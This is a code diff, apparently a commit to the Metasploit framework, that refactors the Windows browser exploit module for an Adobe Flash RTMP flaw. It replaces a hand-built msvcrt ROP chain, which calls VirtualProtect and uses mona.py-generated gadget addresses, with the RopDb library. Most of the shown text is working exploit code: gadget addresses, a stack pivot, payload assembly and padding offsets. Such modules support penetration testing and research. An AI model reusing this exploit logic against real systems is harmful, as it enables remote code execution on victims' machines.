Adopt RopDb for adobe_flash_rtmp.rb

modules/exploits/windows/browser/adobe_flash_rtmp.rb

@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
 	Rank = NormalRanking
 
 	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::RopDb
 	include Msf::Exploit::Remote::BrowserAutopwn
 
 	autopwn_info({
@@ -122,53 +123,18 @@ class Metasploit3 < Msf::Exploit::Remote
 		end
 	end
 
-	def junk(n=4)
-		return rand_text_alpha(n).unpack("V").first
-	end
-
-	def nop
-		return make_nops(4).unpack("V").first
-	end
-
 	def ret(t)
 		return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
 	end
 
-	def popret(t)
-		return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
-	end
-
 	def get_rop_chain(t)
-
-		# ROP chains generated by mona.py - See corelan.be
 		print_status("Using msvcrt ROP")
-		rop =
-			[
-				0x77c4e392,  # POP EAX # RETN
-				0x77c11120,  # <- *&VirtualProtect()
-				0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
-				junk,
-				0x77c2dd6c,
-				0x77c4ec00,  # POP EBP # RETN
-				0x77c35459,  # ptr to 'push esp #  ret'
-				0x77c47705,  # POP EBX # RETN
-				0x00001000,  # EBX
-				0x77c3ea01,  # POP ECX # RETN
-				0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
-				0x77c46100,  # POP EDI # RETN
-				0x77c46101,  # ROP NOP (-> edi)
-				0x77c4d680,  # POP EDX # RETN
-				0x00000040,  # newProtect (0x40) (-> edx)
-				0x77c4e392,  # POP EAX # RETN
-				nop,         # NOPS (-> eax)
-				0x77c12df9,  # PUSHAD # RETN
-			].pack("V*")
+		p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
+		p << payload.encoded
 
 		code = ret(t)
 		code << rand_text(119)
-		code << rop
-		code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
-		code << payload.encoded
+		code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})
 		offset = 2616 - code.length
 		code << rand_text(offset)
 		code << [ t['StackPivot'] ].pack("V")